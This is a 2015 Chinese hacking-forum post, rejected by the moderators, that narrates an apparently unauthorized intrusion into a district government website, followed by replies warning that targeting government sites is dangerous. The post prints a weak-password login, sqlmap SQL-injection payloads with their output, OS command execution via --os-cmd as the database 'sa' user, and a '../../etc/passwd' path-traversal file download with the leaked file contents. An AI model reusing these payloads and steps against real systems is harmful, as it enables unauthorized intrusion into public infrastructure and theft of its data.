九零登录

[【未通过】] 对某政府网站的一次测试

[复制链接]
发表于 2015-10-1 20:00:52 | 显示全部楼层 |阅读模式

01     某区政府
大家中秋有没有吊到妹子啊。。。。。反正我是没有
1.1.     应用系统弱口令
看到的信息还不少啊。。。。0.0  弱口令 不解释
1.jpg
1.2.     应用程序sa 注入
起初找了一下,并没有找到注入,大牛们都喜欢抽颗烟,咱也抽颗烟找找思路,
Nmap –vv  www.xxxxx.com  扫下端口,看看  咦 8080
于是有了第一步的弱口令,登录进去,看到参数习惯的加个’报错,丢到sqlmap,后面没什么好讲的了,注入大家都会。
Place: GET
Parameter: apply_sfzh
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: apply_sfzh=23010220110809681' UNION ALL SELECT 48, 48, 48, 48, 48,
48, CHAR(58)+CHAR(99)+CHAR(122)+CHAR(102)+CHAR(58)+CHAR(81)+CHAR(72)+CHAR(81)+CH
AR(119)+CHAR(119)+CHAR(101)+CHAR(86)+CHAR(105)+CHAR(72)+CHAR(110)+CHAR(58)+CHAR(
122)+CHAR(111)+CHAR(103)+CHAR(58)--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: apply_sfzh=23010220110809681'; WAITFOR DELAY '0:0:5';--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: apply_sfzh=23010220110809681' WAITFOR DELAY '0:0:5'--
---
[13:08:02] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[13:08:02] [INFO] fetching current user
current user:   'sa'

1.3.     数据库系统命令执行
默默的等到注入完成-卧槽  sa   难道我今天人品爆发-顺手一个-os-cmd=ipconfig  卧槽今天人品确实不错啊,但是这个命令也证明了系统是windows  我记得web是linux啊   难道站裤分离了,继续
[root@Hacker~]# Sqlmap -u " http://xxxx:8080/xx/xx/xxxx?apply_sfzh=23010220110809681" --os-cmd=ipconfig

do you want to retrieve the command standard output? [Y/n/a] y
[13:09:16] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
command standard output:
---
Windows IP ????
???????????? ???????? 2:
   ?????????? DNS ???? . . . . . . . :
   ???????? IPv6 ????. . . . . . . . : xxx
   IPv4 ???? . . . . . . . . . . . . : 192.168.8.108
  ????????  . . . . . . . . . . . . : 255.255.255.0
   ????????. . . . . . . . . . . . . : 192.168.8.1

1.4.     应用程序任意文件下载
继续回到目标上既然拿到数据库了那么可以找找后台,顺便抄起wvs  扫一扫  ,分析wvs目录扫描结果,看到一个图片,这是注意到加载图片的参数,想了想会不会存在任意文件下载呢,&filepath=../../../../../../../etc/passwd  哇哇  人品爆发啊。。。。看来今天可以去买彩票了、到此结束。机构单位未深入

文件没有对判断输入参数的合法性导致任意文件下载。
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false

===============================
内容较为空乏,缺乏亮点。故不予通过。


发表于 2015-10-1 21:21:14 | 显示全部楼层
碰国内GOV,找死啊这是。
发表于 2015-10-2 00:35:04 | 显示全部楼层
搞政府网站又不能深入,不能深入就过不了,还不如不发...
发表于 2015-10-2 08:23:56 | 显示全部楼层
就这种哪来的勇气发出来啊。。。
发表于 2015-10-2 12:27:50 | 显示全部楼层
是谁给你的勇气。
发表于 2015-10-3 00:59:52 | 显示全部楼层
站库分离,也不说后面的过程
发表于 2015-10-3 19:07:02 | 显示全部楼层
现在不是严打么 还敢碰?
发表于 2015-10-3 22:09:11 | 显示全部楼层
谁给你的通气?
发表于 2015-10-3 22:42:46 | 显示全部楼层
gov也敢碰,作死啊
发表于 2015-10-6 21:52:43 | 显示全部楼层
这么久没来了,上来看看,还是那些东西呀,怀念
发表于 2015-10-7 01:24:52 | 显示全部楼层
艺高人胆大啊。。
发表于 2015-10-19 16:35:35 | 显示全部楼层
Agile 发表于 2015-10-1 21:21
碰国内GOV,找死啊这是。

碰国外gov。要被炸死啊!

九零

GMT+8, 2026-10-22 12:53

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表